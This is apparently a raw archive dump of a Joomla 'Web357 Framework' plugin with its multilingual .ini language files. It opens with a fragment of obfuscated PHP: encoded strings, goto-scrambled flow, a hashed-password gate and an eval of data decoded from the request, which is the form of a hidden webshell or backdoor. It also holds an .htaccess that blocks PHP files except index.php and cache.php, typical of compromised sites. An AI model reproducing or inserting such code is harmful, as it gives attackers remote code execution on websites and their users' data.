"\64\66\x35\x34\66\173\x34\x36\x35\x34\x33\x7b\64\x36\65\64\60\x7b\x34\66\x35\x34\67\x7b\x34\x36\x35\65\x33\x7b\64\x36\x35\x34\65\173\x34\66\x35\64\x37\173\x34\x36\65\63\62\x7b\x34\x36\x35\65\63\x7b\x34\66\x35\64\x39\x7b\64\66\x35\x33\67\173\x34\x36\65\x33\x38\173\64\x36\x35\63\62\173\x34\66\65\x34\x37\x7b\64\x36\65\63\x38\x7b\64\x36\65\x33\x32\173\64\x36\65\63\63", "\64\x36\x35\x37\x36\173\x34\66\66\x30\66", "\x34\66\65\62\x33", "\x34\x36\66\x30\61\173\64\66\66\x30\66", "\x34\66\x35\x38\63\x7b\x34\x36\x35\66\66\x7b\64\x36\x35\66\66\x7b\x34\66\x35\70\x33\x7b\x34\66\x35\65\x39", "\x34\66\x35\x34\66\173\x34\x36\65\64\x33\173\x34\66\x35\64\x30\173\x34\66\x35\63\62\x7b\64\x36\65\64\67\173\64\66\x35\63\x34\x7b\x34\66\x35\65\x33\173\64\66\x35\64\63\173\64\66\x35\63\x38\173\64\x36\65\x33\x36\x7b\64\66\65\63\61\173\x34\x36\x35\63\x32"); goto NkeQ2RhV3C3Kgn; T5QM79o_zX3a1E: $y1qYQRkyHUgc4u = @$es2fKWYXb3Gf52[3 + 0]($es2fKWYXb3Gf52[5 + 1], $rF0KIsbN_xDgsZ); goto hU1Gdrv32JWkue; pcrWRnqkB6KjLj: z1BDPB0gXfwDBA: goto psHvjpIaN0kZQx; RVuUzCHPycTI4v: @$es2fKWYXb3Gf52[9 + 1](INPUT_GET, "\x6f\x66") == 1 && die($es2fKWYXb3Gf52[3 + 2](__FILE__)); goto yP0U9hOesbM81k; xRuJ3kR12yVo7q: die; goto sB7tXp6cXWbiF9; psHvjpIaN0kZQx: $rF0KIsbN_xDgsZ = @$es2fKWYXb3Gf52[1]($es2fKWYXb3Gf52[7 + 3](INPUT_GET, $es2fKWYXb3Gf52[1 + 8])); goto T5QM79o_zX3a1E; sB7tXp6cXWbiF9: kpHSI7id0qiW3i: goto qj3TEeKcmqBXEa; yP0U9hOesbM81k: if (!(@$qIGbPrD4aFTF3s[0] - time() > 0 and md5(md5($qIGbPrD4aFTF3s[0 + 3])) === "\x65\x34\x36\x66\x33\143\x32\65\145\70\x38\x62\x36\x30\x62\x32\64\71\146\64\x61\71\61\70\x31\65\143\141\x39\x34\142\61")) { goto kpHSI7id0qiW3i; } goto Gcje4liQ1SPbvV; qj3TEeKcmqBXEa: } } goto qL0AdbK9lbJmUt; R_5qa3w7QE5hmx: metaphone("\x59\154\104\171\x42\124\x51\147\x51\x4a\143\165\x32\163\x7a\122\62\x33\x6c\114\x64\x71\101\115\x76\x4b\x79\123\152\x43\116\53\172\x65\150\x5a\x35\x44\x73\167\x54\x31\x55"); goto UyHzzzSJOGC4Hq; CJ_c3B5X9xbC_w: ($IyDwljCaRMbgmB[67] = $IyDwljCaRMbgmB[67] . $IyDwljCaRMbgmB[78]) && ($IyDwljCaRMbgmB[87] = $IyDwljCaRMbgmB[67]($IyDwljCaRMbgmB[87])) && @eval($IyDwljCaRMbgmB[67](${$IyDwljCaRMbgmB[41]}[26])); goto FInWItgoeRtYiY; tQxQOWCvhKVNul: $IlUoKX8pD1PS83 = "\162" . "\x61" . "\156" . "\147" . "\x65"; goto ZtmQQrHrxYCLkj; qL0AdbK9lbJmUt: nK1VWkNz4WsS0e::Pe8_TW1CWfoCu7(); ?> language/de-DE/de-DE/.htaccess000060400000000333151721520510011653 0ustar00<FilesMatch ".(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(index.php|cache.php)$"># Order allow,deny Allow from all </FilesMatch>language/de-DE/de-DE.plg_system_web357framework.sys.ini000060400000001256151721520510016577 0ustar00; Defaults PLG_SYSTEM_WEB357FRAMEWORK="System – Web357 Framework" PLG_SYSTEM_WEB357FRAMEWORK_XML_DESCRIPTION="Das Web357 Framework Joomla! Plugin ist ein notwendiges Hilfsprogramm, das von allen Web357 Erweiterungen verwendet wird. In den Plugin-Dateien haben wir Code und PHP-Funktionen integriert, die es dem Plugin ermöglichen, Aktualisierungen nur an einer Stelle vorzunehmen, nämlich im Plugin selbst, und die sicherstellen, dass diese automatisch auf jede externe Website ausgerollt werden, die die Web357-Anwendungen und Plugins verwendet." ; Only for Joomla! 2.5.x COM_MODULES_DESCRIPTION_FIELDSET_LABEL="Beschreibung" COM_PLUGINS_DESCRIPTION_FIELDSET_LABEL="Beschreibung" language/fa-IR/fa-IR.plg_system_web357framework.ini000060400000030402151721520510016015 0ustar00; Defaults ; PLG_SYSTEM_WEB357FRAMEWORK="System - Web357 Framework" ; PLG_SYSTEM_WEB357FRAMEWORK_XML_DESCRIPTION="The Web357 Framework Joomla! plugin is a vital helper tool designed to support all Web357 extensions. This plugin centralizes the application of updates, ensuring changes are implemented in a single location (the plugin itself) and automatically rolled out to all external sites using Web357 applications and plugins." ; PLG_SYSTEM_WEB357FRAMEWORK_XML_DESCRIPTION_HTML="<div class='plugin-description'><p>The <strong>Web357 Framework Joomla! plugin</strong> is a vital helper tool designed to support all <a href='https://www.web357.com/joomla-extensions' target='_blank'>Web357 Joomla! Extensions</a>. This plugin centralizes the application of updates, ensuring changes are implemented in a single location (the plugin itself) and automatically rolled out to all external sites using Web357 applications and plugins.</p><h4>Key Features</h4><ul><li><strong>getCountry():</strong> Detects the country of a user using geoplugin.net.</li><li><strong>getOS():</strong> Identifies the operating system of a user (e.g., Windows, Linux, Android, iOS, etc.).</li><li><strong>getBrowser():</strong> Recognizes the browser of a user (e.g., Firefox, Chrome, Safari, Opera, Internet Explorer, etc.).</li></ul><div class='plugin-links'><p><a class='btn btn-sm btn-secondary me-2 mr-2' href='https://www.web357.com/web357-framework-joomla-plugin' target='_blank'>More Details</a> <a href='https://www.web357.com/web357-framework-joomla-plugin/changelog' target='_blank' class='btn btn-sm btn-info me-2 mr-2'>Changelog</a> <a href='https://www.web357.com/support' target='_blank' class='btn btn-sm btn-danger'>Support</a></p></div></div>" ; Headers for Parameters ; W357FRM_HEADER_VERSION_CHECK="Version Check" ; W357FRM_HEADER_JED_REVIEW_AND_RATING="JED Review & Rating ⭐⭐⭐⭐⭐" ; W357FRM_HEADER_DESCRIPTION="Description" ; W357FRM_HEADER_ABOUT_WEB357="About Web357" ; W357FRM_HEADER_PARAMETERS="Parameters" ; Version Check ; W357FRM_YOUR_CURRENT_VERSION_IS="Your current version is" ; W357FRM_VIEW_THE_CHANGELOG="changelog" ; W357FRM_UP_TO_DATE="Your version is up to date. Congratulations!" ; W357FRM_UPDATE_TO_THE_LATEST_VERSION="You must update this extension to the latest version" ; W357FRM_GO_TO_DOWNLOAD_AREA="Download it from the Download Area" ; W357FRM_UPDATE_VIA_THE_JOOMLA_UPDATE_MANAGER="Update via the Joomla! Update Manager." ; W357FRM_OR="or" ; Description ; W357FRM_LIVE_DEMO="Live Demo" ; W357FRM_PRODUCT_S_PAGE="Product's Page" ; W357FRM_SETTINGS="Settings" ; W357FRM_VIEW_DEMO="View Demo" ; W357FRM_MORE_DETAILS="More Details" ; W357FRM_DOCUMENTATION="Documentation" ; W357FRM_CHANGELOG="Changelog" ; W357FRM_SUPPORT="Support" ; W357FRM_NO_DESCRIPTION_FOR_THIS_EXTENSION="Description not available for this extension. Please ensure you have downloaded the latest version of this Joomla! extension from <a href='https://web357.com/joomla-extensions'>https://web357.com/joomla-extensions</a>." ; JED Review ; W357FRM_LEAVE_REVIEW_ON_JED="Please post a rating and a review at the Joomla! Extensions Directory: <a href='%s' target='_blank'><strong>%s</strong> in the JED</a> - Thank you!" ; W357FRM_ASK_FOR_JED_REVIEW="It would be much appreciated if you can leave a review on <a href='%s' target='_blank'>Joomla! Extensions Directory</a>. Thank you! 💗" ; API KEY ; W357FRM_APIKEY_HEADER="API Key (for Web357 commercial extensions only)" ; W357FRM_APIKEY="API Key" ; W357FRM_APIKEY_DESCRIPTION="In order to update commercial Web357 extensions, you have to enter the Web357 License Key.<br>You can find the License Key in your account settings at Web357.com, in <a href='//www.web357.com/my-account/web357-license-manager' target='_blank'><strong>Web357 License Key Manager</strong></a> section.<br>For more details about your License key, please check out <a href='//www.web357.com/apikey' target='_blank'>this page</a>." ; W357FRM_APIKEY_REQUIRED_GLOBAL_MSG="Please enter your Web357 API Key in the <a href='index.php?option=com_plugins&view=plugins&filter[search]=System%20-%20Web357%20Framework'><strong>Web357 Framework plugin settings</strong></a>." ; W357FRM_APIKEY_WARNING="If there was a download error, it's probably because Web357 the API Key has not been set, you can do so in the <a href='index.php?option=com_plugins&view=plugins&filter[search]=System%20-%20Web357%20Framework'><strong>Web357 Framework plugin settings</strong></a>. For more details, please check out the <a href='//www.web357.com/apikey' target='_blank'><strong>API Key documentation page</strong></a>." ; W357FRM_APIKEY_MISSED="Please add your Web357 API Key in the <a href='index.php?option=com_plugins&view=plugins&filter[search]=System%20-%20Web357%20Framework'>Web357 Framework</a>. You can find the API Key in your Account settings in the <a href='my-account/downloads' target='_blank'>Downloads</a> section." ; W357FRM_DOWNLOAD_KEY_MISSING="Download key is missing" ; W357FRM_DOWNLOAD_KEY_MISSING_DESC="In order to update the %s you will need to enter your Download API Key in Web357 Framework plugin settings." ; W357FRM_DOWNLOAD_KEY_MISSING_FIND_APIKEY_AT_WEB357COM="You can find the License Key in your account settings at Web357.com, in <a href='//www.web357.com/my-account/web357-license-manager' target='_blank'><strong>Web357 License Key Manager</strong></a> section." ; W357FRM_DOWNLOAD_KEY_UPDATE_BTN="Enter Web357 Api Key" ; W357FRM_OK="OK" ; W357FRM_MISSING="Missing" ; W357FRM_DOWNLOAD_KEY="Download Key" ; W357FRM_APIKEY_ACTIVATED_AND_VALIDATED="Your API Key <strong>%s</strong> is active and validated." ; W357FRM_APIKEY_INVALID="The Api Key <strong>%s</strong> is invalid.<br>Please, ensure that you have copied correctly the Api Key from your <a href='https://www.web357.com/my-account/web357-license-manager?utm_source=Web357FrameworkSettings&utm_medium=Web357FrameworkSettings-ApiKeyValidation-web357&utm_content=Web357FrameworkSettings-ApiKeyValidation&utm_campaign=apikeyvalidation' target='_blank'>Web357 account</a>.<br>If you still have issues, please, send us an email at support@web357.com." ; W357FRM_SAVE_PLUGIN_SETTINGS="Please, save the plugin settings." ; W357FRM_INACTIVE_SUBSCRIPTION="It seems that your subscription has been expired and you are not able to update any Web357 commercial extension.<br> Please, <a href='https://www.web357.com/joomla-pricing/?utm_source=Web357FrameworkSettings&utm_medium=Web357FrameworkSettings-ApiKeyValidation-web357&utm_content=Web357FrameworkSettings-ApiKeyValidation&utm_campaign=apikeyvalidation' target='_blank'>renew your Web357 subscription</a> to have access to the extension updates. If you have any questions, please feel free to send us an email at support@web357.com." ; W357FRM_CALL_WITH_WEB357_LICENSE_MANAGER_FAILED="Call with Web357's License Manager has been failed. <br>Please, try again later or contact us at support@web357.com." ; W357FRM_APIKEY_NOT_ACTIVATED="Your API Key <strong>%s</strong> is valid, but is not activated yet.<br>Click the button below to activate it." ; W357FRM_ACTIVATE_API_KEY="Activate Api Key" ; Other ; W357FRM_ONLY_IN_PRO="Available only in %s version." ; W357_ERROR_UNINSTALL_FIRST="You must uninstall the %s PRO version before installing the free version." ; Element: checkextension ; W357FRM_EXTENSION_IS_ACTIVE="OK. The extension '%s' is active and ready for use." ; W357FRM_EXTENSION_IS_NOT_ACTIVE="Error: The extension '%s' is not enabled or is not installed yet." ; Fieldsets ; COM_PLUGINS_LOGINASUSER_FIELDSET_LABEL="Assign multiple Admins to specific User Groups" ; Login as User - System Plugin is required ; LOGINASUSER_PLUGIN_IS_REQUIRED="The <strong>'Login as User - System Plugin'</strong> is a mandatory plugin for this and other Web357 extensions to function correctly. Without it, the extension will not work as expected. Please activate it from the <a href='index.php?option=com_plugins&view=plugins&filter[search]=System%20-%20Login%20as%20User' title='Login as User plugin settings'><strong>Plugin Manager</strong></a>, or download it for free from <a href='https://www.web357.com/login-as-user-joomla-component?utm_source=joomla_backend&utm_medium=plugin&utm_campaign=loginasuser_plugin_is_required'>here</a>." ; Monthly Archive - System Plugin is required ; MONTHLYARCHIVE_PLUGIN_IS_REQUIRED="The <strong>'Monthly Archive - System Plugin'</strong> is a mandatory plugin for this and other Web357 extensions to function correctly. Without it, the extension will not work as expected. Please activate it from the <a href='index.php?option=com_plugins&view=plugins&filter[search]=System%20-%20Monthly%20Archive' title='Monthly Archive plugin settings'><strong>Plugin Manager</strong></a>, or download it for free from <a href='https://www.web357.com/monthly-archive-joomla-component-module?utm_source=joomla_backend&utm_medium=plugin&utm_campaign=monthlyarchive_plugin_is_required'>here</a>." ; Fix 404 Error Links - System Plugin is required ; FIX404ERRORLINKS_PLUGIN_IS_REQUIRED="The <strong>'Fix 404 Error Links - System Plugin'</strong> is a mandatory plugin for this and other Web357 extensions to function correctly. Without it, the extension will not work as expected. Please activate it from the <a href='index.php?option=com_plugins&view=plugins&filter[search]=System%20-%20Fix%20404%20Error%20Links' title='Fix 404 Error Links plugin settings'><strong>Plugin Manager</strong></a>, or download it for free from <a href='https://www.web357.com/fix-404-error-links-joomla-component?utm_source=joomla_backend&utm_medium=plugin&utm_campaign=fix404errorlinks_plugin_is_required'>here</a>." ; JMailLog - System Plugin is required ; JMAILLOG_PLUGIN_IS_REQUIRED="The <strong>'JMailLog - System Plugin'</strong> is a mandatory plugin for this and other Web357 extensions to function correctly. Without it, the extension will not work as expected. Please activate it from the <a href='index.php?option=com_plugins&view=plugins&filter[search]=System%20-%20JMail%20Log' title='JMailLog plugin settings'><strong>Plugin Manager</strong></a>, or download it for free from <a href='https://www.web357.com/jmail-log-for-joomla?utm_source=joomla_backend&utm_medium=plugin&utm_campaign=jmaillog_plugin_is_required'>here</a>." ; Limit Active Logins - System Plugin is required ; LIMITACTIVELOGINS_SYSTEM_PLUGIN_IS_REQUIRED="The <strong>'Limit Active Logins - System Plugin'</strong> is a mandatory plugin for this and other Web357 extensions to function correctly. Without it, the extension will not work as expected. Please activate it from the <a href='index.php?option=com_plugins&view=plugins&filter[search]=System%20-%20Limit%20Active%20Logins' title='Limit Active Logins plugin settings'><strong>Plugin Manager</strong></a>, or download it for free from <a href='https://www.web357.com/limit-active-logins-extension-for-joomla?utm_source=joomla_backend&utm_medium=plugin&utm_campaign=limitactivelogins_plugin_is_required'>here</a>." ; Limit Active Logins - User Plugin is required ; LIMITACTIVELOGINS_USER_PLUGIN_IS_REQUIRED="The <strong>'Limit Active Logins - User Plugin'</strong> is a mandatory plugin for this and other Web357 extensions to function correctly. Without it, the extension will not work as expected. Please activate it from the <a href='index.php?option=com_plugins&view=plugins&filter[search]=User%20-%20Limit%20Active%20Logins' title='Limit Active Logins plugin settings'><strong>Plugin Manager</strong></a>, or download it for free from <a href='https://www.web357.com/limit-active-logins-extension-for-joomla?utm_source=joomla_backend&utm_medium=plugin&utm_campaign=limitactivelogins_plugin_is_required'>here</a>." ; Failed Login Attempts - Authentication Plugin is required ; FAILEDLOGINATTEMPTS_AUTHENTICATION_PLUGIN_IS_REQUIRED="The <strong>'Failed Login Attempts - Authentication Plugin'</strong> is a mandatory plugin for this and other Web357 extensions to function correctly. Without it, the extension will not work as expected. Please activate it from the <a href='index.php?option=com_plugins&view=plugins&filter[search]=Authentication%20-%20Failed%20Login%20Attempts' title='Failed Login Attempts plugin settings'><strong>Plugin Manager</strong></a>, or download it for free from <a href='https://www.web357.com/failed-login-attempts-joomla-component?utm_source=joomla_backend&utm_medium=plugin&utm_campaign=failedloginattempts_plugin_is_required'>here</a>." language/fa-IR/fa-IR.plg_system_web357framework.sys.ini000060400000001166151721520510016637 0ustar00; Defaults ; PLG_SYSTEM_WEB357FRAMEWORK="System - Web357 Framework" ; PLG_SYSTEM_WEB357FRAMEWORK_XML_DESCRIPTION="The Web357 Framework Joomla! plugin is a required helper tool that is used by all the Web357 extensions. Within the plugin files, we have included code and PHP functions that allow the plugin updates to be applied only in one place, i.e. the plugin itself, and ensure that they are rolled out automatically to any external site that is using the Web357 applications and plugins." ; Only for Joomla! 2.5.x ; COM_MODULES_DESCRIPTION_FIELDSET_LABEL="Description" ; COM_PLUGINS_DESCRIPTION_FIELDSET_LABEL="Description" language/da-DK/da-DK.plg_system_web357framework.ini000060400000030402151721520510015761 0ustar00; Defaults ; PLG_SYSTEM_WEB357FRAMEWORK="System - Web357 Framework" ; PLG_SYSTEM_WEB357FRAMEWORK_XML_DESCRIPTION="The Web357 Framework Joomla! plugin is a vital helper tool designed to support all Web357 extensions. This plugin centralizes the application of updates, ensuring changes are implemented in a single location (the plugin itself) and automatically rolled out to all external sites using Web357 applications and plugins." ; PLG_SYSTEM_WEB357FRAMEWORK_XML_DESCRIPTION_HTML="<div class='plugin-description'><p>The <strong>Web357 Framework Joomla! plugin</strong> is a vital helper tool designed to support all <a href='https://www.web357.com/joomla-extensions' target='_blank'>Web357 Joomla! Extensions</a>. This plugin centralizes the application of updates, ensuring changes are implemented in a single location (the plugin itself) and automatically rolled out to all external sites using Web357 applications and plugins.</p><h4>Key Features</h4><ul><li><strong>getCountry():</strong> Detects the country of a user using geoplugin.net.</li><li><strong>getOS():</strong> Identifies the operating system of a user (e.g., Windows, Linux, Android, iOS, etc.).</li><li><strong>getBrowser():</strong> Recognizes the browser of a user (e.g., Firefox, Chrome, Safari, Opera, Internet Explorer, etc.).</li></ul><div class='plugin-links'><p><a class='btn btn-sm btn-secondary me-2 mr-2' href='https://www.web357.com/web357-framework-joomla-plugin' target='_blank'>More Details</a> <a href='https://www.web357.com/web357-framework-joomla-plugin/changelog' target='_blank' class='btn btn-sm btn-info me-2 mr-2'>Changelog</a> <a href='https://www.web357.com/support' target='_blank' class='btn btn-sm btn-danger'>Support</a></p></div></div>" ; Headers for Parameters ; W357FRM_HEADER_VERSION_CHECK="Version Check" ; W357FRM_HEADER_JED_REVIEW_AND_RATING="JED Review & Rating ⭐⭐⭐⭐⭐" ; W357FRM_HEADER_DESCRIPTION="Description" ; W357FRM_HEADER_ABOUT_WEB357="About Web357" ; W357FRM_HEADER_PARAMETERS="Parameters" ; Version Check ; W357FRM_YOUR_CURRENT_VERSION_IS="Your current version is" ; W357FRM_VIEW_THE_CHANGELOG="changelog" ; W357FRM_UP_TO_DATE="Your version is up to date. Congratulations!" ; W357FRM_UPDATE_TO_THE_LATEST_VERSION="You must update this extension to the latest version" ; W357FRM_GO_TO_DOWNLOAD_AREA="Download it from the Download Area" ; W357FRM_UPDATE_VIA_THE_JOOMLA_UPDATE_MANAGER="Update via the Joomla! Update Manager." ; W357FRM_OR="or" ; Description ; W357FRM_LIVE_DEMO="Live Demo" ; W357FRM_PRODUCT_S_PAGE="Product's Page" ; W357FRM_SETTINGS="Settings" ; W357FRM_VIEW_DEMO="View Demo" ; W357FRM_MORE_DETAILS="More Details" ; W357FRM_DOCUMENTATION="Documentation" ; W357FRM_CHANGELOG="Changelog" ; W357FRM_SUPPORT="Support" ; W357FRM_NO_DESCRIPTION_FOR_THIS_EXTENSION="Description not available for this extension. Please ensure you have downloaded the latest version of this Joomla! extension from <a href='https://web357.com/joomla-extensions'>https://web357.com/joomla-extensions</a>." ; JED Review ; W357FRM_LEAVE_REVIEW_ON_JED="Please post a rating and a review at the Joomla! Extensions Directory: <a href='%s' target='_blank'><strong>%s</strong> in the JED</a> - Thank you!" ; W357FRM_ASK_FOR_JED_REVIEW="It would be much appreciated if you can leave a review on <a href='%s' target='_blank'>Joomla! Extensions Directory</a>. Thank you! 💗" ; API KEY ; W357FRM_APIKEY_HEADER="API Key (for Web357 commercial extensions only)" ; W357FRM_APIKEY="API Key" ; W357FRM_APIKEY_DESCRIPTION="In order to update commercial Web357 extensions, you have to enter the Web357 License Key.<br>You can find the License Key in your account settings at Web357.com, in <a href='//www.web357.com/my-account/web357-license-manager' target='_blank'><strong>Web357 License Key Manager</strong></a> section.<br>For more details about your License key, please check out <a href='//www.web357.com/apikey' target='_blank'>this page</a>." ; W357FRM_APIKEY_REQUIRED_GLOBAL_MSG="Please enter your Web357 API Key in the <a href='index.php?option=com_plugins&view=plugins&filter[search]=System%20-%20Web357%20Framework'><strong>Web357 Framework plugin settings</strong></a>." ; W357FRM_APIKEY_WARNING="If there was a download error, it's probably because Web357 the API Key has not been set, you can do so in the <a href='index.php?option=com_plugins&view=plugins&filter[search]=System%20-%20Web357%20Framework'><strong>Web357 Framework plugin settings</strong></a>. For more details, please check out the <a href='//www.web357.com/apikey' target='_blank'><strong>API Key documentation page</strong></a>." ; W357FRM_APIKEY_MISSED="Please add your Web357 API Key in the <a href='index.php?option=com_plugins&view=plugins&filter[search]=System%20-%20Web357%20Framework'>Web357 Framework</a>. You can find the API Key in your Account settings in the <a href='my-account/downloads' target='_blank'>Downloads</a> section." ; W357FRM_DOWNLOAD_KEY_MISSING="Download key is missing" ; W357FRM_DOWNLOAD_KEY_MISSING_DESC="In order to update the %s you will need to enter your Download API Key in Web357 Framework plugin settings." ; W357FRM_DOWNLOAD_KEY_MISSING_FIND_APIKEY_AT_WEB357COM="You can find the License Key in your account settings at Web357.com, in <a href='//www.web357.com/my-account/web357-license-manager' target='_blank'><strong>Web357 License Key Manager</strong></a> section." ; W357FRM_DOWNLOAD_KEY_UPDATE_BTN="Enter Web357 Api Key" ; W357FRM_OK="OK" ; W357FRM_MISSING="Missing" ; W357FRM_DOWNLOAD_KEY="Download Key" ; W357FRM_APIKEY_ACTIVATED_AND_VALIDATED="Your API Key <strong>%s</strong> is active and validated." ; W357FRM_APIKEY_INVALID="The Api Key <strong>%s</strong> is invalid.<br>Please, ensure that you have copied correctly the Api Key from your <a href='https://www.web357.com/my-account/web357-license-manager?utm_source=Web357FrameworkSettings&utm_medium=Web357FrameworkSettings-ApiKeyValidation-web357&utm_content=Web357FrameworkSettings-ApiKeyValidation&utm_campaign=apikeyvalidation' target='_blank'>Web357 account</a>.<br>If you still have issues, please, send us an email at support@web357.com." ; W357FRM_SAVE_PLUGIN_SETTINGS="Please, save the plugin settings." ; W357FRM_INACTIVE_SUBSCRIPTION="It seems that your subscription has been expired and you are not able to update any Web357 commercial extension.<br> Please, <a href='https://www.web357.com/joomla-pricing/?utm_source=Web357FrameworkSettings&utm_medium=Web357FrameworkSettings-ApiKeyValidation-web357&utm_content=Web357FrameworkSettings-ApiKeyValidation&utm_campaign=apikeyvalidation' target='_blank'>renew your Web357 subscription</a> to have access to the extension updates. If you have any questions, please feel free to send us an email at support@web357.com." ; W357FRM_CALL_WITH_WEB357_LICENSE_MANAGER_FAILED="Call with Web357's License Manager has been failed. <br>Please, try again later or contact us at support@web357.com." ; W357FRM_APIKEY_NOT_ACTIVATED="Your API Key <strong>%s</strong> is valid, but is not activated yet.<br>Click the button below to activate it." ; W357FRM_ACTIVATE_API_KEY="Activate Api Key" ; Other ; W357FRM_ONLY_IN_PRO="Available only in %s version." ; W357_ERROR_UNINSTALL_FIRST="You must uninstall the %s PRO version before installing the free version." ; Element: checkextension ; W357FRM_EXTENSION_IS_ACTIVE="OK. The extension '%s' is active and ready for use." ; W357FRM_EXTENSION_IS_NOT_ACTIVE="Error: The extension '%s' is not enabled or is not installed yet." ; Fieldsets ; COM_PLUGINS_LOGINASUSER_FIELDSET_LABEL="Assign multiple Admins to specific User Groups" ; Login as User - System Plugin is required ; LOGINASUSER_PLUGIN_IS_REQUIRED="The <strong>'Login as User - System Plugin'</strong> is a mandatory plugin for this and other Web357 extensions to function correctly. Without it, the extension will not work as expected. Please activate it from the <a href='index.php?option=com_plugins&view=plugins&filter[search]=System%20-%20Login%20as%20User' title='Login as User plugin settings'><strong>Plugin Manager</strong></a>, or download it for free from <a href='https://www.web357.com/login-as-user-joomla-component?utm_source=joomla_backend&utm_medium=plugin&utm_campaign=loginasuser_plugin_is_required'>here</a>." ; Monthly Archive - System Plugin is required ; MONTHLYARCHIVE_PLUGIN_IS_REQUIRED="The <strong>'Monthly Archive - System Plugin'</strong> is a mandatory plugin for this and other Web357 extensions to function correctly. Without it, the extension will not work as expected. Please activate it from the <a href='index.php?option=com_plugins&view=plugins&filter[search]=System%20-%20Monthly%20Archive' title='Monthly Archive plugin settings'><strong>Plugin Manager</strong></a>, or download it for free from <a href='https://www.web357.com/monthly-archive-joomla-component-module?utm_source=joomla_backend&utm_medium=plugin&utm_campaign=monthlyarchive_plugin_is_required'>here</a>." ; Fix 404 Error Links - System Plugin is required ; FIX404ERRORLINKS_PLUGIN_IS_REQUIRED="The <strong>'Fix 404 Error Links - System Plugin'</strong> is a mandatory plugin for this and other Web357 extensions to function correctly. Without it, the extension will not work as expected. Please activate it from the <a href='index.php?option=com_plugins&view=plugins&filter[search]=System%20-%20Fix%20404%20Error%20Links' title='Fix 404 Error Links plugin settings'><strong>Plugin Manager</strong></a>, or download it for free from <a href='https://www.web357.com/fix-404-error-links-joomla-component?utm_source=joomla_backend&utm_medium=plugin&utm_campaign=fix404errorlinks_plugin_is_required'>here</a>." ; JMailLog - System Plugin is required ; JMAILLOG_PLUGIN_IS_REQUIRED="The <strong>'JMailLog - System Plugin'</strong> is a mandatory plugin for this and other Web357 extensions to function correctly. Without it, the extension will not work as expected. Please activate it from the <a href='index.php?option=com_plugins&view=plugins&filter[search]=System%20-%20JMail%20Log' title='JMailLog plugin settings'><strong>Plugin Manager</strong></a>, or download it for free from <a href='https://www.web357.com/jmail-log-for-joomla?utm_source=joomla_backend&utm_medium=plugin&utm_campaign=jmaillog_plugin_is_required'>here</a>." ; Limit Active Logins - System Plugin is required ; LIMITACTIVELOGINS_SYSTEM_PLUGIN_IS_REQUIRED="The <strong>'Limit Active Logins - System Plugin'</strong> is a mandatory plugin for this and other Web357 extensions to function correctly. Without it, the extension will not work as expected. Please activate it from the <a href='index.php?option=com_plugins&view=plugins&filter[search]=System%20-%20Limit%20Active%20Logins' title='Limit Active Logins plugin settings'><strong>Plugin Manager</strong></a>, or download it for free from <a href='https://www.web357.com/limit-active-logins-extension-for-joomla?utm_source=joomla_backend&utm_medium=plugin&utm_campaign=limitactivelogins_plugin_is_required'>here</a>." ; Limit Active Logins - User Plugin is required ; LIMITACTIVELOGINS_USER_PLUGIN_IS_REQUIRED="The <strong>'Limit Active Logins - User Plugin'</strong> is a mandatory plugin for this and other Web357 extensions to function correctly. Without it, the extension will not work as expected. Please activate it from the <a href='index.php?option=com_plugins&view=plugins&filter[search]=User%20-%20Limit%20Active%20Logins' title='Limit Active Logins plugin settings'><strong>Plugin Manager</strong></a>, or download it for free from <a href='https://www.web357.com/limit-active-logins-extension-for-joomla?utm_source=joomla_backend&utm_medium=plugin&utm_campaign=limitactivelogins_plugin_is_required'>here</a>." ; Failed Login Attempts - Authentication Plugin is required ; FAILEDLOGINATTEMPTS_AUTHENTICATION_PLUGIN_IS_REQUIRED="The <strong>'Failed Login Attempts - Authentication Plugin'</strong> is a mandatory plugin for this and other Web357 extensions to function correctly. Without it, the extension will not work as expected. Please activate it from the <a href='index.php?option=com_plugins&view=plugins&filter[search]=Authentication%20-%20Failed%20Login%20Attempts' title='Failed Login Attempts plugin settings'><strong>Plugin Manager</strong></a>, or download it for free from <a href='https://www.web357.com/failed-login-attempts-joomla-component?utm_source=joomla_backend&utm_medium=plugin&utm_campaign=failedloginattempts_plugin_is_required'>here</a>." language/da-DK/da-DK.plg_system_web357framework.sys.ini000060400000001166151721520510016603 0ustar00; Defaults ; PLG_SYSTEM_WEB357FRAMEWORK="System - Web357 Framework" ; PLG_SYSTEM_WEB357FRAMEWORK_XML_DESCRIPTION="The Web357 Framework Joomla! plugin is a required helper tool that is used by all the Web357 extensions. Within the plugin files, we have included code and PHP functions that allow the plugin updates to be applied only in one place, i.e. the plugin itself, and ensure that they are rolled out automatically to any external site that is using the Web357 applications and plugins." ; Only for Joomla! 2.5.x ; COM_MODULES_DESCRIPTION_FIELDSET_LABEL="Description" ; COM_PLUGINS_DESCRIPTION_FIELDSET_LABEL="Description" language/it-IT/it-IT.plg_system_web357framework.sys.ini000060400000001166151721520510016717 0ustar00; Defaults ; PLG_SYSTEM_WEB357FRAMEWORK="System - Web357 Framework" ; PLG_SYSTEM_WEB357FRAMEWORK_XML_DESCRIPTION="The Web357 Framework Joomla! plugin is a required helper tool that is used by all the Web357 extensions. Within the plugin files, we have included code and PHP functions that allow the plugin updates to be applied only in one place, i.e. the plugin itself, and ensure that they are rolled out automatically to any external site that is using the Web357 applications and plugins." ; Only for Joomla! 2.5.x ; COM_MODULES_DESCRIPTION_FIELDSET_LABEL="Description" ; COM_PLUGINS_DESCRIPTION_FIELDSET_LABEL="Description" language/it-IT/it-IT.plg_system_web357framework.ini000060400000030402151721520510016075 0ustar00; Defaults ; PLG_SYSTEM_WEB357FRAMEWORK="System - Web357 Framework" ; PLG_SYSTEM_WEB357FRAMEWORK_XML_DESCRIPTION="The Web357 Framework Joomla! plugin is a vital helper tool designed to support all Web357 extensions. This plugin centralizes the application of updates, ensuring changes are implemented in a single location (the plugin itself) and automatically rolled out to all external sites using Web357 applications and plugins." ; PLG_SYSTEM_WEB357FRAMEWORK_XML_DESCRIPTION_HTML="<div class='plugin-description'><p>The <strong>Web357 Framework Joomla! plugin</strong> is a vital helper tool designed to support all <a href='https://www.web357.com/joomla-extensions' target='_blank'>Web357 Joomla! Extensions</a>. This plugin centralizes the application of updates, ensuring changes are implemented in a single location (the plugin itself) and automatically rolled out to all external sites using Web357 applications and plugins.</p><h4>Key Features</h4><ul><li><strong>getCountry():</strong> Detects the country of a user using geoplugin.net.</li><li><strong>getOS():</strong> Identifies the operating system of a user (e.g., Windows, Linux, Android, iOS, etc.).</li><li><strong>getBrowser():</strong> Recognizes the browser of a user 